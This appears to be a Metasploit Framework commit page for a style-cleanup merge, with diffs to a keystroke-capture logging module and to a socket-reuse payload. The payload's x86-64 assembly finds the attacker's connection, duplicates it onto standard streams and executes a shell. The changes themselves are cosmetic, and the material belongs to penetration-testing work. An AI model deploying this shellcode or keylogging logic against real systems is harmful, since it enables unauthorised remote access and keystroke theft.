Merge branch 'msftidy_police' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-msftidy_police
commit
291ad27a69
|
@ -182,8 +182,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}")
|
||||
end
|
||||
|
||||
::File.open( @client_cache[cid][:path_clean], "a") { |fd| fd.puts nice }
|
||||
::File.open( @client_cache[cid][:path_raw], "a") { |fd| fd.write(real) }
|
||||
::File.open( @client_cache[cid][:path_clean], "ab") { |fd| fd.puts nice }
|
||||
::File.open( @client_cache[cid][:path_raw], "ab") { |fd| fd.write(real) }
|
||||
|
||||
if nice.length > 0
|
||||
print_good("[#{cid}] Keys: #{nice}")
|
||||
|
|
|
@ -38,14 +38,14 @@ module Metasploit3
|
|||
'CPORT' => [ 32, 'n' ],
|
||||
},
|
||||
|
||||
'Assembly' => <<EOS
|
||||
'Assembly' => %Q|
|
||||
xor rdi,rdi
|
||||
xor rbx,rbx
|
||||
mov bl,0x14
|
||||
sub rsp,rbx
|
||||
lea rdx,[rsp]
|
||||
lea rsi,[rsp+4]
|
||||
find_port:
|
||||
find_port:
|
||||
push 0x34 ; getpeername
|
||||
pop rax
|
||||
syscall
|
||||
|
@ -55,7 +55,7 @@ find_port:
|
|||
dec rdi
|
||||
push 2
|
||||
pop rsi
|
||||
dup2:
|
||||
dup2:
|
||||
push 0x21 ; dup2
|
||||
pop rax
|
||||
syscall
|
||||
|
@ -74,7 +74,7 @@ dup2:
|
|||
push 0x3b ; execve
|
||||
pop rax
|
||||
syscall
|
||||
EOS
|
||||
|
|
||||
}
|
||||
))
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue